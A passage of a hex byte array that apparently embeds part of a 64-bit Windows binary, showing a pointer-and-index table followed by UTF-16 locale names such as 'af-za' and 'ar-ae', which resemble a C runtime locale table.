0x00, 0x00, - 0x08, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc5, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x18, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xb4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x83, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x38, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd3, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x83, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xdd, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x98, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x83, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xca, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb5, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x83, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf8, 0x83, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xad, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x84, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xdf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x18, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x28, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x84, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xbb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xce, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x84, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xdb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x78, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xde, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x88, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x84, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x28, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x84, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x84, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x70, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x84, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa5, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x18, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xae, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x85, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x38, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb6, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xbc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x85, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x78, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x85, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xaf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x80, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x85, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x50, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x88, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x85, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x86, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x18, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x28, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x98, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x86, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x86, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x86, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x68, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x86, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x3d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x86, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x9d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x87, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x28, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x87, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x87, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x88, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x87, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x9f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xa8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x87, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x88, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x28, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x38, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x9c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x88, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xbe, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x88, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xcb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x88, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc8, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x5c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x72, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd8, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xbd, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x89, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x99, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x89, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x9a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x89, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x68, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x8a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x78, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x89, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x98, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x5e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x89, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x5f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc0, 0x57, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x89, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x7b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x28, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x69, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x38, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe2, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x68, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x8a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb2, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x98, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xaa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x8a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x66, 0x00, 0x2d, 0x00, 0x7a, 0x00, - 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x61, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x68, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x64, 0x00, - 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x65, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x71, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6a, 0x00, - 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 